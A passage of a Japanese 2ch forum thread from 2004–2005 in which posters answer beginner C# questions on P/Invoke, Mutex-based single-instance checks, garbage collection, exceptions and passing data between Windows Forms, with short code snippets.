NGNG0681デフォルトの名無しさん
NGNG当方で探しても見つかりませんでした。
0682デフォルトの名無しさん
NGNGそれはこれのこと?
ttp://bandodalua.lua.inf.puc-rio.br/luanet/
0683デフォルトの名無しさん
NGNG> So what about executing Lua script in .NET applications?
> This should not be a major problem, just the matter of writing a managed C++ wrapper.
0684デフォルトの名無しさん
NGNG(.NETとか関係なけりゃクラスすらないような)を、C#で
使用する方法は無いのでしょうか
なんとなくムリかなとは思うのですが、あまりに基本な
ためかどこのFAQを読んでもハッキリした答えがなくて
モヤモヤしてます。C/C++で作られた資産を移植しようと
すると、やはり手作業が入るものでしょうか
ズバッと斬ってやって下さい orz
0685デフォルトの名無しさん
NGNG例えばWin32API呼出もC用ライブラリの呼出と考えられる。
関数のエントリポイント、値渡し参照渡し、相互の型の対応などを考える必要はあるが、基本はこんな感じ。
[System.Runtime.Interopservices.DllImport("user32.dll")]
public static extern uint SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
詳しくはヘルプを見るべし。
ms-help://MS.VSCC/MS.MSDNVS.1041/cpguide/html/cpconconsumingunmanageddllfunctions.htm
0686デフォルトの名無しさん
NGNGDLLなら>>685の言うようにP/Invokeで利用可能。
そうでないなら、COMやDLLにするかManaged C++でラッパを書いて利用する。
漏れはP/InvokeメンドクサイのでCOMコンポーネント経由でやったりするのが好きなんだけど、
Windows XP以外ではインストーラが必須になるので嫌う向きもあるみたい。
0687デフォルトの名無しさん
NGNGおおーすげー便利そう・・・
C#2.0に欲しいなぁ
メタクラスで指定した型の戻り値が欲しい時はどうするの?
object Fanc( Metaclass T, int hoge, ...)
{
}
ならちとイヤーな感じw
0688デフォルトの名無しさん
NGNGリフレクションのシンタックスシュガーか・・
どんなときに便利なの?
0689デフォルトの名無しさん
NGNGそれって実行時にすっ飛ぶんだよね
えらーしょりしにくくね?
0690デフォルトの名無しさん
NGNGC#の設計思想と全然合わないな。異物を混ぜるなって感じ。
0691デフォルトの名無しさん
NGNG悪くはないと思うけど、T 型を返すときはどうすんの?
0692デフォルトの名無しさん
NGNGてっきりC++のコードが使えないと思ってたので
助かりました。安心してC#を勉強できそうです。
さっそくDLL作成のほうに手をつけてみます。
0693デフォルトの名無しさん
NGNGType で reflection って面倒だから、シンタックスシュガーには意味あるんじゃない?
でもテンプレートの代わりにはならないような気が・・・
template <class T> T Max(T a, T b) なんてのから、型推論で T を導出してくれて
こそのテンプレートだし。若干 C++ マンセー入っちゃってるけど。
0694デフォルトの名無しさん
NGNG>>692
ポインタもWindowsのハンドルもIntPtr型だ。
0695デフォルトの名無しさん
NGNG>>692
コールバックも書けるから安心してください(MSDN参照)。
0696デフォルトの名無しさん
NGNGシンタックスシュガーではないと思われ
0697デフォルトの名無しさん
NGNGboostとか見てると良く分かるけれど、戻り値が型推というのはバクダンになりやすいので、使わないというのは有りかと思います。
この形式ではやるとしたら構造体かなにかで型と実体のペアを作って返すしかないですね。
>>690
C#の設計思想など知りませんが、少なくともよりオブジェクト指向的ではあろうかと……
0698デフォルトの名無しさん
NGNGいや、シンタックスシュガーだと思うよ。だって、
・変数宣言ができる
・メソッド等のInvokeが普通の書き方でできる
っていう、純粋に記法の追加でしかないし。
即値を渡せばコンパイル時に型を決定して最適化はできるだろうけど・・
関係ないけど全然Metaclassじゃなくて単にClassだよね。
>>697
型推論はともかく、T Max(T a, T b) 程度が書けないのでは記述能力不足・・・
0699デフォルトの名無しさん
NGNGリフレクションをシンタックスシュガーということにしてしまうと、全てがシンタックスシュガーになってしまわないか?
それは何か違う気がするんだが・・・
0700デフォルトの名無しさん
NGNGリフレクションをシンタックスシュガーだと言っているのではなく、
>>675の「Metaclass」なるものは単なるリフレクションのシンタックスシュガーに過ぎない
と言ってるだけ。
Type T; があったとき、 T a = new T() なんて書けるとリフレクション使うときには便利、
それには同意する。
0701デフォルトの名無しさん
NGNG0702デフォルトの名無しさん
NGNGだから一体何をどう捕らえられているのかサッパリわかんない。
ケチらないでもう少し言いたいことを書いてよ。
0703デフォルトの名無しさん
NGNGちょっと勘違いがあるかも、リフレクション機能を対象にしたシンタックスシュガーってのは変だと思うわけ。
リフレクションは基本的にこれがありとなると、もはや何でもありになってしまう。
何でもありな物をシンタックスシュガーだと主張するなら言語機能の全てがシンタックスシュガーということになってしまうが、
これは常識的なシンタックスシュガーの概念とは違うと思う。
シンタックスシュガーは元々定義があいまいなので、主観で貴方がそう思うというならそういう事としかいいようがないと思います。
0704デフォルトの名無しさん
NGNGよくわかった。漏れが>>715をシンタックスシュガーだと思ったのは、現行のTypeとの違いが
局所的な記法の違いだけだってとこから。
主観だけど構文が違うだけで機能が同じなら、それはやはりシンタックスシュガーだと思う。
C++のテンプレートが型推論機構のおかげで普通のチューリングマシンとしての機能を完備していて、
単なるマクロの便利な記法を脱却しているのと比べてしまうからそう思うのかもしれないけど。
0705デフォルトの名無しさん
NGNG0706デフォルトの名無しさん
NGNG分からないときにはとりあえずぐぐって下さいな
http://www.google.com/search?num=50&hl=ja&lr=lang_ja&safe=off&ie=SJIS&oe=SJIS&q=%82%C4%82%A2%82%A4%82%A9%83V%83%93%83%5E%83b%83N%83X%83V%83%85%83K%81%5B%82%C1%82%C4%89%BD%82%C5%82%B7%82%A9%81B
0707デフォルトの名無しさん
NGNGシンタックスペッパーもあるのですか?
0708デフォルトの名無しさん
NGNGぐぐった可能性を微塵も考慮しないあたりがステキ。
>>707
正露丸糖衣があるなら正露丸塩衣もあるのですか?
0709デフォルトの名無しさん
NGNG0710デフォルトの名無しさん
NGNGC#に対するIDEみたいなもの。
0711692
NGNGありがとうございます(T−T
間違いなくつっかえると思われます¢(。。;)
なお勉強はぼつぼつ進行しつつあり、予言の的中は
15日以降にスケジュールされております。
0713デフォルトの名無しさん
NGNGC#でボタンをクリックすると指定したpdfファイルを印刷するような
プログラムを作成することはできますか?
どうすればいいでしょうか?なにかヒントをお教えください。
0714デフォルトの名無しさん
NGNG0715デフォルトの名無しさん
NGNG・"C:\Program Files\Adobe\Acrobat 6.0\Reader\AcroRd32.exe" /p /h "%1"
0716713
NGNGありがとうございました。
おかげで印刷することができました。
複数枚を、印刷したい時や、ページを指定して印刷するときは
どのようにすればいいでしょうか?よろしくおねがいします。
0717デフォルトの名無しさん
NGNG0718デフォルトの名無しさん
NGNG馬鹿ハケーン
0719デフォルトの名無しさん
NGNG0720デフォルトの名無しさん
NGNGttp://www.google.com/search?num=100&hl=ja&lr=lang_ja&oe=utf8&q=C%23+%E3%81%94%E3%81%BF%E7%AE%B1
0721719
NGNG0722デフォルトの名無しさん
NGNG実行中のスレッドが勝手にGCされちゃうことってあるの?
void Start()
{
Thread thread = new Thread(new ThreadStart(new MyThread()));
thread.Run(); // 作りっぱなし
}
0723デフォルトの名無しさん
NGNGないから安心したまい。
実行環境が内部でスレッドを管理するので、参照は実は存在するから。
スレッドが行うメソッドが終了したらGCの対象になる。
細かい話だが、StartされないThreadオブジェクトは参照が無くなればGCの対象だが、
WeakReferenceでのみ参照を持っている状態でもGCの対象にならなくなるようだ。
0724デフォルトの名無しさん
NGNGそのためGC対象から外すよう明示的に指示してやるのが良いそうだ
GC.KeepAlive(mutex);
ってな感じで
0725デフォルトの名無しさん
NGNGそれはひょっとしたらSocketがListenした時にMutexが解放されてしまうと言うバグかな。
そうだとしたらGC.KeepAliveも無意味だよ。
そもそもGCの問題じゃないし。
.NET1.0はSP3では解決されてる。.NET2.0(のベータ)は初めから問題なし。
.NET1.1ではSP1でも未解決な、ちょっと頭の痛い問題だ。
TCPチャネルを使ったリモーティングですら解放されてしまうし。
0726デフォルトの名無しさん
NGNGスレッドが終了する時に自動的にそのスレッドが所有するMutexを解放するって話。
0727デフォルトの名無しさん
NGNG0728デフォルトの名無しさん
NGNG0729デフォルトの名無しさん
NGNGhttp://dobon.net/vb/dotnet/process/checkprevinstance.html
> ローカル変数として宣言したMutexを使った場合、うまく行かないことがあるようです(これに従い、
> ここで紹介しているサンプルも修正しました)。静的フィールドを使えば解決されますが、それ以外
> では、GC.KeepAliveメソッドを使用すれば解決できるようです。エントリポイントで二重起動を
> チェックする例を次に示します
0730デフォルトの名無しさん
NGNGでもローカル変数のMutexをGC.KeepAliveしてもやっぱりSocketがListenすると解放される……。
0731デフォルトの名無しさん
NGNGWindowsアプリでローカルにあるHtmlファイルを表示することって出来るのでしょうか?
0732デフォルトの名無しさん
NGNG0733デフォルトの名無しさん
NGNG0734731
NGNGキーワードを元に検索して参考になりそうなHPを見つけました。
これから頑張って作ってみます。
0735デフォルトの名無しさん
NGNG0736デフォルトの名無しさん
NGNG0737デフォルトの名無しさん
NGNGoffice2005の入ってる人は.netも入っていて
C#アプリも配布できるのだと。
0738デフォルトの名無しさん
NGNG…って、C#とは限らないか。
0739デフォルトの名無しさん
NGNGsingleton を変形し、同じキーで作成しようとしたら、以前作成したオブジェクトを返す
ただし、そのオブジェクトは GC に回収されるようにしたい
WeakReference を Hashtable 内に押し込むのが正解?
WeakReferenceTable オブジェクトとかって無いの?
0740デフォルトの名無しさん
NGNGぐぐったのですが、ほとんど見あたりません・・・
0741デフォルトの名無しさん
NGNG慣れればそう複雑でも無い事が分かるから(奥は深そうだけど)、取りあえず自分で実際に試す事だね。
ttp://d.hatena.ne.jp/N0MURA/20040108
VB.NETだけど、こことか。
0742デフォルトの名無しさん
NGNGありがとうございます、試してきます〜
0743デフォルトの名無しさん
NGNG本は丸ごと一冊リモーティングの本があったよね
お試しとかでなく実用として遣うなら買うことお勧め。時間の短縮分で元が取れると思う。
0744デフォルトの名無しさん
NGNG以下のようなメソッドがあると仮定します。
メソッド {
if (略) {
bool a
result1 = true;
}
if (略) {
bool result2;
result2 = true;
}
if (result1 == true || result2 == true) {
(終了);
}
}
result1 とresult2 がtrueになったときに
一番下の(終了)という部分を実行したいのですが、
ビルドをすると「未割り当てのローカル変数が参照されました。」と
表示されエラーになってしまいますが、何が原因なのでしょうか。
よろしくおねがいします。
0745デフォルトの名無しさん
NGNG0746デフォルトの名無しさん
NGNGC++とかのは見かけるんだけど
0747デフォルトの名無しさん
NGNGドットネットのすてっぷカウント♪
ttp://www.vector.co.jp/soft/win95/prog/se327186.html
とかどうだろう。
0748yuuteen
NGNG初めて書き込ませて頂きます。
C#のSystem.Diagnostics.Process.GetProcessesプロシージャが
Windows2000では失敗すると、下記のサイトにあるのですが、
http://support.microsoft.com/kb/823642/ja#kb3
何故、なのでしょうか?
それと、どうやったら、失敗しないのでしょうか?
誰か、助けて!!
0749デフォルトの名無しさん
NGNGパフォーマンスカウンタに関する問題が原因だったような。
書いてあるように HotFix を入手するか、違う方法を考えればよし。
特に、二重起動防止をやりたいのなら、これじゃなくて、Mutex を
使うほうがいいよ。
0751yuuteen
NGNGありがとうございます。
確かにおっしゃる通りで、HotFixを入手する手も考えたのですが
そもそも、根本的に二重起動チェックの方法が悪いのではというところで 悩んでいました。
ちなみに、バッチの二重起動チェックなのですが...。
下記がMutexを使用した場合のソースなのですが こんな感じなのでしょうか?
また、"MyName"は他の文字列と置換え可能だと、サンプルを見る限り
書いてあったのですが、バッチの二重起動チェックの場合、何をここに
記述しなくてはいけないのですか?
二重起動チェック処理は共通関数化して行う予定です。 ご教授下さい。
///////////////////////////////////////////////////////////////////////////
bool exit = false;
System.Threading.Mutex m = new System.Threading.Mutex(false, "MyName");
if (m.WaitOne(0, false) == false)
{
//すでに起動していると判断する
m.close();
exit = true;
}
else
{
exit = flse;
}
//アプリケーションが終わるまでmへの参照を維持するようにする
GC.KeepAlive(m);
}
///////////////////////////////////////////////////////////////////////////
0752デフォルトの名無しさん
NGNG>GC.KeepAlive(m);
GC.KeepAliveはそういう仕様ではありません。
こんなクラスを使えば良いでしょう。
class Hoge {
System.Threading.Mutex _m;
boole _is_ok;
public Hoge(string id)
{
_m = new System.Threading.Mutex(false, id);
_is_ok = _m.WaitOne(0, false);
}
public ~Hoge()
{
_m.Close();
}
public bool IsOK { get { return _is_ok; } }
}
使い方
class YourApp {
Hoge _hoge = new Hoge("YourAppName"); // メンバ変数等、アプリが終了するまで残る変数に入れること。
public void Main()
{
if ( !_hoge.IsOK ) return;
...
}
}
0753デフォルトの名無しさん
NGNGよく動いてる仕組みもわからず使う気になりますね
全部を詳細に把握しろとは言いませんが。
0754デフォルトの名無しさん
NGNGjavac 〜.javaみたく扱いたいんで。
0755デフォルトの名無しさん
NGNG知ってるけど秘密 c?c だな
0756デフォルトの名無しさん
NGNG0757デフォルトの名無しさん
NGNGば〜かww
0758デフォルトの名無しさん
NGNGアセンブリインフォファイルはいらないんだよ。
0759デフォルトの名無しさん
NGNGちぃー
0760デフォルトの名無しさん
NGNGこういう奴、正直寒い。同じボケるにしてもボケ方ってものがあると思う。
0761755
NGNG0762デフォルトの名無しさん
NGNG0763デフォルトの名無しさん
NGNGGraphics g = Graphics.FromImage(bmp);
bmp.MakeTransparent(Color.Red);
g.FillRectangle(Brushes.Aqua, 0, 0, 100, 100);
g.Dispose();
MakeTransparentを呼び出すと、その後のGraphicsオブジェクトを利用しての描画が出来ないのですが、どうしてでしょうか?
0764デフォルトの名無しさん
NGNG0765デフォルトの名無しさん
NGNGマイク端子から音声を取り込むのってどうやるんですか?
0766デフォルトの名無しさん
NGNG↓こっちで聞いた方がいいと思われ。
Managed DirectX vol.2
http://pc5.2ch.net/test/read.cgi/tech/1061285378/
0767デフォルトの名無しさん
NGNGこの辺。
1)Win32APIでやる(C#である意味がかなり薄れるとは思うが)
ttp://wisdom.sakura.ne.jp/system/winapi/media/mm7.html
2)Managed DirectXでやる
ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/directx9_m/directx/sound/capturingwaveforms/creatingthecaptureobject.asp
0768デフォルトの名無しさん
05/01/17 11:14:41>>767
ありがとん。
0769デフォルトの名無しさん
05/01/17 14:41:07例
class Test
{
static ArrayList momo = new ArrayLIst();
static int Count { get { return Test.momo.Count; } }
}
こんな感じで何かしらAddしたものがあればエラーはでないんですが、
0だと駄目です。
trycatchでつかもうとしても駄目。
メッセージ
'System.ArgumentOutOfRangeException' のハンドルされていない例外が system.windows.forms.dll で発生しました。
追加情報 : 指定された引数は、有効な値の範囲内にありません。
0770デフォルトの名無しさん
05/01/17 16:33:51初期値をいれ時計
0771デフォルトの名無しさん
05/01/17 19:27:43catch(Exception e)で全部もれなく捕らえられるんでしょうか?
0772デフォルトの名無しさん
05/01/17 19:38:16,予言するけど、それは多分別の箇所でmomo[0]とかしているせい。
momo を static プロパティにでもして get に breakpoint 置いて見てみるべし。
0773デフォルトの名無しさん
05/01/17 21:10:20できます。
throwできるのはSystem.Exceptionから派生したクラスのインスタンス、またはnullだから。
用途によってはcatchの後を省略してもオケー
private void Form1_Load(object sender, System.EventArgs e)
{
try
{
Nullpo();
}
catch
{
MessageBox.Show("ガッ");
}
}
private void Nullpo()
{
throw null;
}
0774デフォルトの名無しさん
05/01/18 19:54:350775デフォルトの名無しさん
05/01/18 20:19:07捕まえても逃げるものがあるから注意よん
ThreadAbortException とか
0776デフォルトの名無しさん
05/01/18 23:08:21確認のために聞きたいのですが、「捕まえても逃げる」っていうのは
> ThreadAbortException は、キャッチできても、 catch ブロックの末尾でもう一度自動的に発生する特殊な例外です。
ってことを言ってます?
ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpref/html/frlrfSystemThreadingThreadAbortExceptionClassTopic.asp
0777デフォルトの名無しさん
05/01/19 12:06:00とか?とかなのか?
0778デフォルトの名無しさん
05/01/19 19:56:570779デフォルトの名無しさん
05/01/19 20:19:450780デフォルトの名無しさん
05/01/20 01:41:240781デフォルトの名無しさん
05/01/20 21:02:08というのが沢山在るんですが、オプション部分が全て同じなので、
変数を使いたいのですが、変数って使えますか?
RegexOptions option = RegexOptions..IgnoreCase | RegexOptions.ExplicitCapture;
のようにしてみたけどやっぱりエラーでした
0782デフォルトの名無しさん
05/01/20 21:03:330783デフォルトの名無しさん
05/01/20 21:07:10> RegexOptions..IgnoreCase
ここがポイントか?
0784デフォルトの名無しさん
05/01/20 21:22:120785デフォルトの名無しさん
05/01/20 22:08:510786デフォルトの名無しさん
05/01/20 22:13:200787デフォルトの名無しさん
05/01/21 07:01:07↑まさかここではなかろうな
0788デフォルトの名無しさん
05/01/21 10:05:31とりあえずVisualStudio2003のC#でテキストボックスにHELLO WORLDと表示させるところまできましたがもう限界です。
どこかにサンプルコードなどありますでしょうか?
なにとぞなにとぞよろしくお願いいいたします。
0789デフォルトの名無しさん
05/01/21 10:16:17Image.FromFileでファイルを開けて、返値であるImageオブジェクトの各種プロパティをみれば済む話だが。
0790デフォルトの名無しさん
05/01/21 19:01:060791最凶VB厨房
05/01/21 19:33:510792デフォルトの名無しさん
05/01/21 22:07:35数分から数十分でやれないと話にならんでしょ。
0793デフォルトの名無しさん
05/01/22 01:38:44SmalTalkで今日中に作れといわれてできるのか( ゚Д゚)ゴルァ!!
0794792
05/01/22 02:18:580795デフォルトの名無しさん
05/01/31 11:59:500796デフォルトの名無しさん
05/02/03 13:32:35CHKなんていう意味不明な略語(?)を使うのはやめましょう。
質問は平易な日本語(+正しい技術用語)で具体的に。
姉妹スレの↓もよろしく。
ふらっとC♯(Part5)
http://pc5.2ch.net/test/read.cgi/tech/1065196964/
>このスレッドは
>
>「どんなにくだらないC#プログラミングに関する発言でも誰かが優しくレスをしてくれるスレッド」です。
>
>ほかのスレッドでは恐ろしくて書き込めないような低レベル、もしくは質問者自身なんだか意味がよく分からない質問など、
勇気をもって書き込んでください。
>
>少しずつC#プログラマを名乗るものが現れました。みなさん一緒に勉強しましょう。
0797デフォルトの名無しさん
05/02/03 13:34:39書いているコードの品質も知れたものだな。。。
0798デフォルトの名無しさん
05/02/04 22:54:42ildasm.exeの使い方を詳しくかつ読みやすく紹介している
本をご存知でしたら、どなたか教えてください。
0799デフォルトの名無しさん
05/02/05 20:13:56推薦図書/必読書のためのスレッド PART 22
http://pc5.2ch.net/test/read.cgi/tech/1106175218/
0800デフォルトの名無しさん
05/02/06 18:16:53"(" と ")" の二つの括弧のいろを変えたいのですが、
フォントおよび色のどの項目を変えればいいのでしょうか?
0801デフォルトの名無しさん
05/02/06 18:45:230802デフォルトの名無しさん
05/02/12 00:07:31親の持つ共通メンバのみコピーするには
ひとつひとつ代入するしかない?
0803デフォルトの名無しさん
05/02/12 00:17:28しかない
不便なら親クラスに CopyTo メソッドとか付けとけ
0804デフォルトの名無しさん
05/02/12 00:22:450806デフォルトの名無しさん
05/02/12 12:33:29Loadの後にイベントを起こしたいのですが。
0807806
05/02/12 13:03:20それをActivatedで判断するという方法を使ってますが、
ほかに正攻法はあるのでしょうか?
0808デフォルトの名無しさん
05/02/12 17:37:41それが正攻法だと思われます。
0809デフォルトの名無しさん
05/02/12 17:44:58行儀はよろしくなさそうだが。
0810387
05/02/14 14:27:11C# を外部スクリプトとして利用しようと思ったんだけど、
アセンブリ参照をソースに埋め込むってことできないの?
VC++ の #pragma comment( lib, "hoge.dll" )
みたいなやつ。
おしえてちょー。
0811デフォルトの名無しさん
05/02/14 15:16:19ソースには無理。プロジェクトファイルで指定して、ビルド時に参照。
もしくは、Reflection で茨の道・・・
0812デフォルトの名無しさん
05/02/14 15:40:19そう難しくもないような気がする。
用途によってはアプリケーションドメイン単位でしかアンロードできないのが
何かと不便だけど。
0813デフォルトの名無しさん
05/02/14 23:58:44で
ControlPaint.DrawReversibleFrame(new Rectangle(0,0,200,200), Color.Black, FrameStyle.Thick);
とやったら、デスクトップの左上にシカクがでました。
このシカクをフォームの中にいれたいんですが、どーしたらいいんでしょ
0814デフォルトの名無しさん
05/02/15 00:40:090815デフォルトの名無しさん
05/02/15 00:52:040816デフォルトの名無しさん
05/02/19 22:12:19元に戻すメソッドはどれでしょうか。
0817デフォルトの名無しさん
05/02/19 22:17:460818デフォルトの名無しさん
05/02/19 23:32:02ありがとうこざいます。
0819デフォルトの名無しさん
05/02/20 13:22:180820デフォルトの名無しさん
05/02/20 14:19:22これは再コンパイルせずにテキストツール等で容易にパラメータの書き換えができるってことですか?
0821デフォルトの名無しさん
05/02/20 16:46:22たとえばAというクラスからは、プロパティで取得・変更ができるけど、
Bというクラスからは取得のみ可能、
Cというクラスはすべてのメンバにアクセスできるが、
Dというクラスは一部にしかアクセスできない、というふうに。
0822デフォルトの名無しさん
05/02/20 17:11:140823デフォルトの名無しさん
05/02/20 18:15:35回答ありがとう。でも「ラッパークラス」で調べてみると
C++やアンマネージ、COMとかいった仰々しいものが続々出てきて手に負えそうにない。
あるいはもしかしたらこういうこと?
Originalの代わりにWrapperを公開して、メンバのabcはプロパティで取得のみ可。
class Original{
private SomeClass abc;
public SomeClass Abc{
set{abc = value;}
get{return abc;}
}
}
class Wrapper{
private Original org;
public SomeClass Abc{
get{return org.Abc;}
}
}
これだとWrapperの内部では自由にOriginalにアクセスできてしまうし、
SomeClassのAbcの参照先は値が変更可能になっている。
Originalの持つメンバに関して、あるクラスからは完全に取得限定にしたいけど、
そういう都合のいい方法ってある?
0824デフォルトの名無しさん
05/02/20 18:18:260825デフォルトの名無しさん
05/02/20 18:30:06> SomeClassのAbcの参照先は値が変更可能になっている。
Original.AbcとWrapper.Abcで動作は等価と思うのだが。
それでダメなら属性で制御するくらいしか思いつかんな。
そうするとコンパイルエラーを出せないが。
0826デフォルトの名無しさん
05/02/20 18:59:08入れ子のクラスにする方法を考えてみた。
>>823のWrapperをOriginalのメンバにしてみるとか。
属性かー。それで工夫してみるよ。どうもありがとう。
0827デフォルトの名無しさん
05/02/21 13:22:34列の非表示ってできる?やり方が見当たらなくて。
0828デフォルトの名無しさん
05/02/21 14:41:54無理なはず。
0829デフォルトの名無しさん
05/02/27 03:17:43どなたか教えてください。
0830デフォルトの名無しさん
05/02/27 03:32:30どんなのが対象なんだか。
0831デフォルトの名無しさん
05/02/27 03:35:14もうだめぽ
0832デフォルトの名無しさん
05/02/27 03:38:220833デフォルトの名無しさん
05/02/27 03:42:350834デフォルトの名無しさん
05/02/27 13:32:240835デフォルトの名無しさん
05/02/27 14:00:010836デフォルトの名無しさん
05/02/27 15:24:28VC++6.0で作成したクラスライブラリ(.lib)を
C♯で使用したいと思っています。
VC++6.0で使っていたときは
.libファイルとともに梱包されていたヘッダーファイルを
インクルードしていたのですが、
C♯ではそんなことできないですよね?
ネットでいろいろ調べてみたものの、
解決策は見つけられませんでした。
申し訳ありませんが、どなたかよろしかったらご教示ください。
0837デフォルトの名無しさん
05/02/27 16:14:08http://www.microsoft.com/japan/msdn/net/general/dotnetperftips.asp#dotnetperftips_topic6
http://pc5.2ch.net/test/read.cgi/tech/1014486422/
http://www.hit.dj.kit.ac.jp/~haru/cgi-bin/mt/archives/000165.html
http://park15.wakwak.com/~opapa/cpp/Managed.htm
http://mag.autumn.org/Content.modf?id=20041223174327
0838デフォルトの名無しさん
05/02/27 16:24:20c++のクラスを呼び出したいならmanaged c++を使ってマネージコードから
呼び出せるマネージドクラスでラップする必要があります。
managed c++は禁断の世界だから手を出すときは自己責任で。
0839デフォルトの名無しさん
05/03/01 17:34:27JavaでいうRobotのようなものはありますか?
0840デフォルトの名無しさん
05/03/01 18:05:56キーボードのエミュレートはSendKeysクラス。
マウスのエミュレートは.NETには無かったような気がするので、Win32APIのmouse_event/SendInputを挙げておこう。
0841デフォルトの名無しさん
05/03/01 18:08:03ごめんなさい。以後、気をつけます。
ありがとうございました。
0842デフォルトの名無しさん
05/03/01 19:29:08クライアントに新しいファイルを作って送るにはどうすればいいですか?
.csvみたいな簡素なファイルなら想像できますけど、
エクセルの.xlsファイルとかどうしますか?
0843デフォルトの名無しさん
05/03/01 20:16:24普通にファイルを生成してリンクしてやるかResponse.BinaryWriteしてやればいいんじゃね?
エクセルのバイナリを動的に作れないという話なら、そういう商用コンポーネントを買うのが早いと思うよ。
買わなくても出来るけど苦労する。
0844デフォルトの名無しさん
05/03/01 20:17:292.送る
0845デフォルトの名無しさん
05/03/01 22:07:21Excel2003ならXMLで・・・
0846デフォルトの名無しさん
05/03/01 22:31:12おれはまだ97だが?
0847デフォルトの名無しさん
05/03/01 23:46:10修正プログラムの出ないMS製品なんて使ってられるか。
0848デフォルトの名無しさん
05/03/02 00:19:10つーか金ねーよ。
0849デフォルトの名無しさん
05/03/02 01:38:490850デフォルトの名無しさん
05/03/02 22:33:11http://www.yomiuri.co.jp/main/news/20050302i314.htm
0851デフォルトの名無しさん
05/03/03 00:10:52そんなニュース、前にもなかったっけ?
0852デフォルトの名無しさん
05/03/03 02:15:110853デフォルトの名無しさん
05/03/04 20:21:06C#ではどのように書くのでしょうか?
配列の内容を保持したまま配列を増やしたいのですが、
今までは新しく配列を用意してコピーしていたのですがスマートにならないものかと。
0854デフォルトの名無しさん
05/03/04 20:28:08いや、C# でそんな文見たことない
おそらく無いんじゃないか?
0855デフォルトの名無しさん
05/03/04 20:45:37これのせいでループの内部で毎回ReDimするようなアレなコード書く奴もいるし。
0856デフォルトの名無しさん
05/03/04 21:13:37ここを参考に、googleに用語をpostして結果を得ようとしています。
ところがこのうちの「 System.Web.HttpUtility.UrlEncode」でエラーが出ます
(エラーの説明)
>型、または名前空間名 'Web' は、
>クラスまたは名前空間 'System' に存在しません。
>アセンブリ参照があるか確認してください。
どうすればSystem.Webのクラスを使えるようになるのか教えて頂けますか。
0857デフォルトの名無しさん
05/03/04 21:15:03プロジェクトの『参照設定』を右クリック⇒『System.Web』を追加
これでおk
0858デフォルトの名無しさん
05/03/04 21:15:310859デフォルトの名無しさん
05/03/04 21:16:160860デフォルトの名無しさん
05/03/04 21:27:51ぶじビルドできました。
0861デフォルトの名無しさん
2005/03/29(火) 21:29:060862デフォルトの名無しさん
2005/04/05(火) 14:48:280863デフォルトの名無しさん
2005/04/05(火) 18:33:16なにも問題なし。
0864デフォルトの名無しさん
2005/04/28(木) 05:05:00初心者にお勧めなC#を教えて頂けますでしょえか。
スキルはPHPのみです。
よろしくお願いいたします。
0865デフォルトの名無しさん
2005/04/28(木) 07:44:26これでどうだ:
Schildt, Herbert
『独習C#』
2002年 翔泳社 ISBN 479810146x
http://www.amazon.co.jp/exec/obidos/ASIN/479810146X/
0867デフォルトの名無しさん
2005/05/09(月) 01:36:37例えば「string s = "XXX";」を
Form2 f2 = new Form2();
f2.ShowDialog();
で実体化したForm2でも使いたいのですが、
どのようにすればいいのでしょうか?
public string s = "XXX"としてForm2で
変数sを使ってみたけどダメでした。
0868デフォルトの名無しさん
2005/05/09(月) 01:50:07/* From1 */
private string s = @"XXX";
private button1_Click(....) {
using(Form2 F = new Form2()) {
F.SetValue(s); /* 変数sの値をForm2に渡す */
F.ShowDialog(this);
}
}
/* Form2 */
private string _value = "";
public void SetValue(string value) {
this._value = value;
}
private void Form_Load(....) {
this.Text = this._value;
}
0869デフォルトの名無しさん
2005/05/09(月) 02:21:59即レスありがとうございます。
何故そうなるのか等細かいところが理解出来ていないのですが、
Form2でSetValueメソッドをpublicで宣言しているところがミソなのでしょうが、
「public void SetValue(string value) 」メソッドの「this._value = value;」は
何時処理をしているのでしょうか?
とりあえず希望通りの動作は出来ました。
ありがとうございました。
0870デフォルトの名無しさん
2005/05/09(月) 02:27:45すいません。何となくですけど理解できました。
Form1の
>F.SetValue(s); /* 変数sの値をForm2に渡す */
で処理しているのですね。
ゴミカキコ、すいませんでした。
0871デフォルトの名無しさん
2005/05/11(水) 20:56:00Form1で
public static string s = "XXX"
としてForm2で
MessageBox.Show(Form1.s);みたいに使えるけど
>>868とどっちが良いんだろう・・・
0872デフォルトの名無しさん
2005/05/11(水) 21:02:05一番良いのはForm2のコンストラクタ引数として渡すことだと思うが(Form2でその値が必須なら)。
0873デフォルトの名無しさん
2005/05/11(水) 22:36:320874デフォルトの名無しさん
2005/05/11(水) 23:42:06868で下のようにClosingイベントでForm2からForm1に戻すときはどうやったらいいの?
private void Form2_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
if (DialogResult == DialogResult.OK)
{
ここで変数をForm1に戻す
}
}
0875デフォルトの名無しさん
2005/05/11(水) 23:47:09戻すというか、データを共有したいならデータを管理するクラスを作ってそれを共有したらいいんじゃないか。
0876デフォルトの名無しさん
2005/05/12(木) 00:08:27まあそれはおいといて、OpenFileDialogの実装も一つの回答だ。
0877デフォルトの名無しさん
2005/05/13(金) 07:56:11public void SetValue(string value)
{
_value = value;
}
Form2でstring s = "XXX";として
Form2を閉じるイベントハンドラに
using (Form1 f1 = new Form1())
{
f1.SetValue(s);
}
と書いてもForm1に戻ると_valueは空のままです。
public class SetValue
{
public string _value;
}
を作って上と同じくForm2が閉じるときに
SetValue sv = new SetValue();
sv._value = s;
と書き込んでもForm1に戻って_valueを使おうとすると空です。
とりあえずざっと試しただけなので、
週末に休みが取れれば改めて試行錯誤します。
でもその前に何かヒントが有れば教えて欲しいな・・・。
0878デフォルトの名無しさん
2005/05/13(金) 08:13:55using (Form1 f1 = new Form1())
{
f1.SetValue(s);
}
f1を新しく作ってそれのSetValueを呼んで、そのメソッドが終了したらそのまま捨てられるだけ。
当然新しく作ったForm1に対して操作したわけだから、既存のForm1には何の影響もない。
0879デフォルトの名無しさん
2005/05/14(土) 22:16:54872も言ってるがカプセル化がOOPの基本。
それにstaticだと全てのインスタンスで共有になっちまうよ。
>873
Form2がForm1に依存する事になるからそれもまずいだろ。
0880デフォルトの名無しさん
2005/05/14(土) 22:52:09OpenFileDialogと同様の実装サンプル。
秀丸で書いたので動作確認はしてない。
/* From1 */
private string s = @"XXX";
private button1_Click(....) {
using(Form2 F = new Form2(s)) {
if(F.ShowDialog(this) == DialogResult.OK) {
MessageBox.Show(F.getValue());
} else {
MessageBox.Show(@"キャンセルされますた。");
}
}
}
0881880
